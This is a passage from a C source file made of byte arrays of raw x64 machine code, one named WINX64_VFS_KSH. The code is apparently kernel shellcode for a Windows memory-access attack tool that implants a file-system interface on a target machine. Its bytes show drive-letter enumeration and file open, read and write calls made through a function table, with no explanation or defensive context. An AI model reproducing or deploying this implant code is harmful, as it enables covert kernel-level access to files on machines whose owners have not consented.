0x08, 0xfe, 0xff, 0xff, 0x48, 0x85,\n    0xc0, 0x74, 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x08, 0x01, 0x00,\n    0x00, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0,\n    0x48, 0x89, 0x47, 0x20, 0x33, 0xd2, 0x48, 0x89, 0x47, 0x28, 0x33, 0xc9,\n    0xe8, 0xd4, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x87, 0x30, 0x02, 0x00, 0x00,\n    0x48, 0x8b, 0x87, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x89, 0x5f, 0x30, 0x48,\n    0x85, 0xc0, 0x74, 0xf0, 0x48, 0xc7, 0x47, 0x30, 0x02, 0x00, 0x00, 0x00,\n    0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x93, 0x00, 0x00, 0x00, 0x48, 0x83,\n    0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8b, 0xcf, 0xe8, 0xb8, 0xfd, 0xff, 0xff,\n    0x48, 0x63, 0xc8, 0x48, 0x89, 0x4f, 0x38, 0x48, 0x83, 0xbf, 0xf8, 0x0f,\n    0x00, 0x00, 0x05, 0x75, 0x18, 0x4c, 0x8d, 0x87, 0x20, 0x02, 0x00, 0x00,\n    0x48, 0x8b, 0xcf, 0x48, 0x8d, 0x97, 0x20, 0x01, 0x00, 0x00, 0xff, 0x57,\n    0x20, 0x48, 0x89, 0x5f, 0x38, 0x48, 0x8b, 0x87, 0xf8, 0x0f, 0x00, 0x00,\n    0x48, 0x3b, 0xc3, 0x74, 0x06, 0x48, 0x83, 0xf8, 0x06, 0x75, 0x15, 0x4c,\n    0x8b, 0x47, 0x48, 0x48, 0x8b, 0x57, 0x40, 0x48, 0x8b, 0x4f, 0x20, 0xe8,\n    0x48, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x5f, 0x38, 0x48, 0x8b, 0x87, 0xf8,\n    0x0f, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x02, 0x74, 0x06, 0x48, 0x83, 0xf8,\n    0x07, 0x75, 0x15, 0x4c, 0x8b, 0x47, 0x48, 0x48, 0x8b, 0x57, 0x20, 0x48,\n    0x8b, 0x4f, 0x40, 0xe8, 0x20, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x5f, 0x38,\n    0x48, 0x83, 0xa7, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0xe9, 0x4b, 0xff, 0xff,\n    0xff, 0x48, 0x8b, 0x57, 0x18, 0x48, 0x8b, 0x4f, 0x20, 0x48, 0xc1, 0xea,\n    0x0c, 0xe8, 0x19, 0xfd, 0xff, 0xff, 0x48, 0x83, 0x67, 0x20, 0x00, 0xb8,\n    0x00, 0x00, 0x00, 0xf0, 0x48, 0x83, 0x67, 0x28, 0x00, 0x48, 0x83, 0x27,\n    0x00, 0x48, 0x83, 0xa7, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5f,\n    0x38, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x6c, 0x24, 0x40, 0x48,\n    0x89, 0x47, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3\n};\n\n\nconst BYTE WINX64_VFS_KSH[] = {\n  0x37, 0x13, 0xec, 0x3c, 0x6a, 0x4a, 0x8b, 0x7e, 0xf0, 0xdd, 0xff, 0xd4, 0x0a, 0x09, 0xcb, 0x46,\n  0x1c, 0x45, 0x43, 0x88, 0x93, 0x13, 0x90, 0xf8, 0x4c, 0x66, 0x6d, 0x4c, 0x6d, 0x44, 0x5b, 0xea,\n  0x86, 0x53, 0xd9, 0xea, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1b, 0x0b, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0xb6, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20,\n  0xe8, 0xdb, 0x07, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x0f, 0x20, 0xd8, 0xc3, 0x0f, 0x09,\n  0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55, 0x48,\n  0x8d, 0x6c, 0x24, 0xa9, 0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00,\n  0x48, 0x8d, 0x4d, 0x17, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xd8, 0xba, 0x10, 0x00, 0x00, 0x00, 0xff,\n  0x97, 0x80, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x27, 0xff, 0x97,\n  0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff,\n  0x57, 0x78, 0x83, 0x64, 0x24, 0x50, 0x00, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x83, 0x64, 0x24, 0x48,\n  0x00, 0x4c, 0x8d, 0x4d, 0x17, 0x48, 0x83, 0x65, 0x2f, 0x00, 0x4c, 0x8d, 0x45, 0x27, 0xc7, 0x44,\n  0x24, 0x40, 0x20, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x6f, 0x48, 0x89, 0x45, 0x37, 0x0f, 0x57,\n  0xc0, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0x27, 0x30, 0x00, 0x00, 0x00, 0x89, 0x44,\n  0x24, 0x38, 0xba, 0x00, 0x00, 0x00, 0x80, 0x89, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x28, 0x80,\n  0x00, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0xc7, 0x45, 0x3f, 0x40, 0x02, 0x00,\n  0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x47, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x6f,\n  0x8b, 0xd8, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c,\n  0x24, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x7b, 0x20, 0x49,\n  0x8b, 0xe3, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55, 0x48,\n  0x8d, 0x6c, 0x24, 0xa9, 0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00,\n  0x48, 0x8d, 0x4d, 0x17, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xd8, 0xba, 0x10, 0x00, 0x00, 0x00, 0xff,\n  0x97, 0x80, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x27, 0xff, 0x97,\n  0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff,\n  0x57, 0x78, 0x83, 0x64, 0x24, 0x50, 0x00, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x83, 0x64, 0x24, 0x48,\n  0x00, 0x4c, 0x8d, 0x4d, 0x17, 0x48, 0x83, 0x65, 0x2f, 0x00, 0x4c, 0x8d, 0x45, 0x27, 0xc7, 0x44,\n  0x24, 0x40, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x6f, 0xc7, 0x44, 0x24, 0x38, 0x01, 0x00,\n  0x00, 0x00, 0x0f, 0x57, 0xc0, 0xc7, 0x44, 0x24, 0x30, 0x04, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00,\n  0x00, 0x40, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00,\n  0x48, 0xc7, 0x45, 0x27, 0x30, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0x3f, 0x40, 0x02, 0x00, 0x00,\n  0x48, 0x89, 0x45, 0x37, 0xf3, 0x0f, 0x7f, 0x45, 0x47, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x48,\n  0x8b, 0x4d, 0x6f, 0x8b, 0xd8, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97, 0x88, 0x00, 0x00, 0x00,\n  0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b,\n  0x7b, 0x20, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48,\n  0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x68, 0xa1,\n  0x48, 0x81, 0xec, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xb9, 0x08, 0x02, 0x00, 0x00, 0x45, 0x33,\n  0xff, 0x48, 0x03, 0x79, 0x28, 0x41, 0x8a, 0xdf, 0x66, 0x44, 0x89, 0x7d, 0xf5, 0x4c, 0x8b, 0xf2,\n  0x48, 0x8b, 0xf1, 0xc7, 0x45, 0xe7, 0x5c, 0x00, 0x3f, 0x00, 0xc7, 0x45, 0xeb, 0x3f, 0x00, 0x5c,\n  0x00, 0xc7, 0x45, 0xf1, 0x3a, 0x00, 0x5c, 0x00, 0x44, 0x88, 0x3f, 0x48, 0x8d, 0x4d, 0x07, 0x0f,\n  0xb6, 0xc3, 0xba, 0x10, 0x00, 0x00, 0x00, 0x66, 0x83, 0xc0, 0x61, 0x4c, 0x89, 0x7d, 0x67, 0x66,\n  0x89, 0x45, 0xef, 0x41, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, 0x00, 0x00, 0x48,\n  0x8d, 0x4d, 0x17, 0x41, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xe7, 0x48, 0x8d,\n  0x4d, 0xf7, 0x41, 0xff, 0x56, 0x78, 0x48, 0x8d, 0x45, 0xf7, 0xc7, 0x44, 0x24, 0x28, 0x21, 0x40,\n  0x00, 0x00, 0x0f, 0x57, 0xc0, 0x48, 0x89, 0x45, 0x27, 0x4c, 0x8d, 0x4d, 0x07, 0x48, 0xc7, 0x45,\n  0x17, 0x30, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x17, 0x4c, 0x89, 0x7d, 0x1f, 0xba, 0x01, 0x00,\n  0x10, 0x00, 0x48, 0xc7, 0x45, 0x2f, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x67, 0xc7, 0x44,\n  0x24, 0x20, 0x03, 0x00, 0x00, 0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x37, 0x41, 0xff, 0x96, 0x98, 0x00,\n  0x00, 0x00, 0x4c, 0x39, 0x7d, 0x67, 0x74, 0x10, 0x8d, 0x43, 0x61, 0x88, 0x07, 0x48, 0x8b, 0x4d,\n  0x67, 0x41, 0xff, 0x96, 0x88, 0x00, 0x00, 0x00, 0xfe, 0xc3, 0x48, 0xff, 0xc7, 0x80, 0xfb, 0x1a,\n  0x0f, 0x82, 0x52, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0xc7,\n  0x86, 0x00, 0x02, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x28, 0x49, 0x8b, 0x73,\n  0x30, 0x49, 0x8b, 0x7b, 0x38, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc,\n  0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55,\n  0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xb0,\n  0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x89, 0x10, 0x02, 0x00, 0x00, 0x49,\n  0x8b, 0xf8, 0x48, 0x89, 0x45, 0x67, 0x4c, 0x8b, 0xfa, 0x44, 0x8b, 0xf0, 0x48, 0x81, 0xf9, 0x00,\n  0x00, 0x20, 0x00, 0x73, 0x0a, 0xb8, 0x07, 0x00, 0x00, 0xf0, 0xe9, 0xd5, 0x01, 0x00, 0x00, 0x4c,\n  0x8b, 0x63, 0x28, 0x48, 0x81, 0xc1, 0x00, 0x00, 0xf0, 0xff, 0x4c, 0x03, 0xa3, 0x08, 0x02, 0x00,\n  0x00, 0x48, 0xb8, 0x8f, 0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x48, 0xf7, 0xe1, 0x48, 0x8d,\n  0x4d, 0xe7, 0x4c, 0x8b, 0xea, 0xba, 0x10, 0x00, 0x00, 0x00, 0x49, 0xc1, 0xed, 0x09, 0x41, 0xff,\n  0x97, 0x80, 0x00, 0x00, 0x00, 0xbe, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0x8b, 0xd6,\n  0x41, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x97, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d,\n  0x4d, 0xf7, 0x41, 0xff, 0x57, 0x78, 0x4c, 0x21, 0x75, 0x0f, 0x48, 0x8d, 0x45, 0xf7, 0x0f, 0x57,\n  0xc0, 0xc7, 0x44, 0x24, 0x28, 0x21, 0x40, 0x00, 0x00, 0x4c, 0x8d, 0x4d, 0xe7, 0x48, 0x89, 0x45,\n  0x17, 0x4c, 0x8d, 0x45, 0x07, 0x48, 0x89, 0x75, 0x07, 0xba, 0x01, 0x00, 0x10, 0x00, 0x48, 0xc7,\n  0x45, 0x1f, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x67, 0xc7, 0x44, 0x24, 0x20, 0x03, 0x00,\n  0x00, 0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x27, 0x41, 0xff, 0x97, 0x98, 0x00, 0x00, 0x00, 0x33, 0xd2,\n  0x8b, 0xf8, 0x85, 0xc0, 0x0f, 0x85, 0x01, 0x01, 0x00, 0x00, 0xc6, 0x44, 0x24, 0x50, 0x01, 0xe9,\n  0x96, 0x00, 0x00, 0x00, 0x48, 0x39, 0x55, 0xef, 0x0f, 0x84, 0xed, 0x00, 0x00, 0x00, 0xba, 0x40,\n  0x02, 0x00, 0x00, 0x49, 0x8b, 0xcc, 0x41, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x46,\n  0x28, 0x48, 0x8d, 0x56, 0x5e, 0x49, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x46, 0x10, 0x49, 0x89,\n  0x44, 0x24, 0x08, 0x48, 0x8b, 0x46, 0x08, 0x49, 0x89, 0x44, 0x24, 0x18, 0x48, 0x8b, 0x46, 0x20,\n  0x49, 0x83, 0x0c, 0x24, 0x10, 0x49, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x46, 0x38, 0x24, 0x10, 0xf6,\n  0xd8, 0x48, 0x1b, 0xc9, 0x48, 0xf7, 0xd9, 0x48, 0xff, 0xc1, 0x49, 0x09, 0x0c, 0x24, 0xb9, 0x03,\n  0x01, 0x00, 0x00, 0x8b, 0x46, 0x3c, 0x3b, 0xc1, 0x0f, 0x47, 0xc1, 0x49, 0x8d, 0x4c, 0x24, 0x38,\n  0x44, 0x8b, 0xc0, 0x41, 0xff, 0x57, 0x60, 0x33, 0xd2, 0x49, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00,\n  0x49, 0xff, 0xc6, 0x4d, 0x3b, 0xf5, 0x73, 0x73, 0x8b, 0x06, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x03,\n  0xf0, 0xe9, 0x78, 0xff, 0xff, 0xff, 0x88, 0x54, 0x24, 0x50, 0x48, 0x8b, 0x8b, 0x08, 0x02, 0x00,\n  0x00, 0x48, 0x8d, 0x45, 0xe7, 0x48, 0x03, 0x8b, 0x10, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x48,\n  0x8b, 0x73, 0x28, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x54, 0x24, 0x48, 0x48, 0x81, 0xc6, 0x00, 0x00,\n  0xf0, 0xff, 0x88, 0x54, 0x24, 0x40, 0x48, 0x03, 0xf1, 0x48, 0x8b, 0x4d, 0x67, 0x48, 0xc7, 0x44,\n  0x24, 0x38, 0x03, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x10, 0x00, 0x48, 0x89,\n  0x74, 0x24, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0xff, 0x97, 0xa0, 0x00, 0x00, 0x00, 0x33,\n  0xd2, 0x8b, 0xf8, 0x85, 0xc0, 0x0f, 0x84, 0x09, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x4d, 0x67, 0x4b,\n  0x8d, 0x04, 0xf6, 0x48, 0xc1, 0xe0, 0x06, 0x48, 0x89, 0x83, 0x00, 0x02, 0x00, 0x00, 0x48, 0x85,\n  0xc9, 0x74, 0x09, 0x41, 0xff, 0x97, 0x88, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x4d, 0x85, 0xf6, 0x0f,\n  0x45, 0xfa, 0x8b, 0xc7, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x38,\n  0x49, 0x8b, 0x73, 0x40, 0x49, 0x8b, 0x7b, 0x48, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41,\n  0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,\n  0x24, 0x18, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8d, 0x6c, 0x24, 0xb9, 0x48, 0x81, 0xec, 0xb0, 0x00,\n  0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0xbb, 0x30, 0x00,\n  0x00, 0x00, 0x8b, 0xd3, 0x48, 0x8d, 0x4d, 0x17, 0x4d, 0x8b, 0xf0, 0xff, 0x97, 0x80, 0x00, 0x00,\n  0x00, 0x8d, 0x53, 0xe0, 0x48, 0x8d, 0x4d, 0xf7, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x49, 0x8d,\n  0x96, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff, 0x57, 0x78, 0x83, 0x64, 0x24, 0x50,\n  0x00, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x83, 0x64, 0x24, 0x48, 0x00, 0x4c, 0x8d, 0x4d, 0xf7, 0x48,\n  0x83, 0x65, 0x1f, 0x00, 0x4c, 0x8d, 0x45, 0x17, 0xc7, 0x44, 0x24, 0x40, 0x20, 0x00, 0x00, 0x00,\n  0x48, 0x8d, 0x4d, 0x6f, 0xc7, 0x44, 0x24, 0x38, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x57, 0xc0, 0xc7,\n  0x44, 0x24, 0x30, 0x03, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x80, 0xc7, 0x44, 0x24, 0x28,\n  0x80, 0x00, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x89, 0x5d, 0x17, 0x48, 0xc7,\n  0x45, 0x2f, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0x27, 0xf3, 0x0f, 0x7f, 0x45, 0x37, 0xff,\n  0x97, 0x90, 0x00, 0x00, 0x00, 0x8b, 0xd8, 0x85, 0xc0, 0x75, 0x59, 0x48, 0x83, 0x64, 0x24, 0x40,\n  0x00, 0x49, 0x8d, 0x86, 0x28, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x8e, 0x08, 0x02, 0x00, 0x00, 0x45,\n  0x33, 0xc9, 0x48, 0x03, 0x4e, 0x28, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x44, 0x24, 0x38, 0x33, 0xd2,\n  0x41, 0x8b, 0x86, 0x30, 0x03, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8d, 0x45, 0xf7, 0x48,\n  0x89, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x97, 0xb8,\n  0x00, 0x00, 0x00, 0x8b, 0xd8, 0x85, 0xc0, 0x75, 0x0b, 0x48, 0x8b, 0x45, 0xff, 0x48, 0x89, 0x86,\n  0x00, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97, 0x88,\n  0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b,\n  0x20, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc,\n  0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x18, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8d,\n  0x6c, 0x24, 0xb9, 0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00, 0x48,\n  0x8d, 0x4d, 0x17, 0x48, 0x8b, 0xfa, 0xbb, 0x30, 0x00, 0x00, 0x00, 0x8b, 0xd3, 0x49, 0x8b, 0xf0,\n  0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x8d, 0x53, 0xe0, 0x48, 0x8d, 0x4d, 0xf7, 0xff, 0x97, 0x80,\n  0x00, 0x00, 0x00, 0x48, 0x8d, 0x96, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff, 0x57,\n  0x78, 0x48, 0x8b, 0x4e, 0x10, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x83, 0x65, 0x1f, 0x00, 0x4c, 0x8d,\n  0xb6, 0x28, 0x03, 0x00, 0x00, 0x48, 0x89, 0x45, 0x27, 0x0f, 0x57, 0xc0, 0x8a, 0xc1, 0x48, 0x89,\n  0x5d, 0x17, 0x24, 0x80, 0x48, 0xc7, 0x45, 0x2f, 0x40, 0x02, 0x00, 0x00, 0xf6, 0xd8, 0xf3, 0x0f,\n  0x7f, 0x45, 0x37, 0x1b, 0xd2, 0x81, 0xe2, 0x04, 0x00, 0x00, 0xc0, 0x81, 0xc2, 0x00, 0x00, 0x00,\n  0x40, 0xf6, 0xc1, 0x40, 0x74, 0x09, 0x49, 0x83, 0x3e, 0x00, 0x8d, 0x43, 0xd5, 0x74, 0x05, 0xb8,\n  0x01, 0x00, 0x00, 0x00, 0x83, 0x64, 0x24, 0x50, 0x00, 0x4c, 0x8d, 0x4d, 0xf7, 0x48, 0x83, 0x64,\n  0x24, 0x48, 0x00, 0x4c, 0x8d, 0x45, 0x17, 0xc7, 0x44, 0x24, 0x40, 0x20, 0x00, 0x00, 0x00, 0x48,\n  0x8d, 0x4d, 0x6f, 0x89, 0x44, 0x24, 0x38, 0x83, 0x64, 0x24, 0x30, 0x00, 0xc7, 0x44, 0x24, 0x28,\n  0x80, 0x00, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00,\n  0x8b, 0xd8, 0x85, 0xc0, 0x75, 0x3e, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x48, 0x8d, 0x8e, 0x38,\n  0x03, 0x00, 0x00, 0x8b, 0x86, 0x30, 0x03, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x4c, 0x89, 0x74, 0x24,\n  0x38, 0x45, 0x33, 0xc0, 0x89, 0x44, 0x24, 0x30, 0x33, 0xd2, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48,\n  0x8d, 0x45, 0xf7, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x97, 0xc0, 0x00,\n  0x00, 0x00, 0x8b, 0xd8, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97, 0x88,\n  0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b,\n  0x20, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc,\n  0x40, 0x53, 0x48, 0x81, 0xec, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x54, 0x24,\n  0x20, 0x48, 0x8b, 0x49, 0x08, 0xe8, 0xda, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x83, 0x08, 0x01, 0x00,\n  0x00, 0x4c, 0x03, 0x43, 0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00,\n  0x0f, 0x82, 0xa7, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 0x20, 0xe7, 0x79,\n  0x49, 0x39, 0x00, 0x0f, 0x85, 0x94, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x40, 0x08, 0x48, 0x83, 0xf8,\n  0x01, 0x75, 0x19, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xc0, 0xfa, 0xff, 0xff,\n  0x48, 0x63, 0xc8, 0x48, 0x89, 0x8b, 0x20, 0x02, 0x00, 0x00, 0xeb, 0x7d, 0x48, 0x83, 0xf8, 0x03,\n  0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xe9, 0xfc, 0xff, 0xff, 0xeb,\n  0xdf, 0x48, 0x83, 0xf8, 0x02, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8,\n  0x1c, 0xfe, 0xff, 0xff, 0xeb, 0xca, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24,\n  0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x8b, 0xf7, 0xff, 0xff, 0xeb, 0xb5, 0x48, 0x83, 0xf8, 0x05, 0x75,\n  0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x56, 0xf8, 0xff, 0xff, 0xeb, 0xa0,\n  0x48, 0x83, 0xf8, 0x06, 0x75, 0x23, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x25,\n  0xf9, 0xff, 0xff, 0x48, 0x83, 0xa3, 0x20, 0x02, 0x00, 0x00, 0x00, 0xeb, 0x0c, 0xb8, 0x01, 0x00,\n  0x00, 0xc0, 0x48, 0x89, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00,\n  0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48,\n  0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55, 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0x90,\n  0x00, 0x00, 0x00, 0x4c, 0x8b, 0xf1, 0xc7, 0x45, 0xe7, 0x4a, 0x45, 0x3b, 0xd7, 0xc7, 0x45, 0xeb,\n  0x62, 0xe0, 0x07, 0x37, 0x48, 0x8d, 0xba, 0xc8, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xef, 0x1f, 0x9d,\n  0x48, 0x9d, 0x48, 0x8d, 0x75, 0x4b, 0xc7, 0x45, 0xf3, 0xa1, 0x7b, 0xcc, 0xdc, 0xbb, 0x19, 0x00,\n  0x00, 0x00, 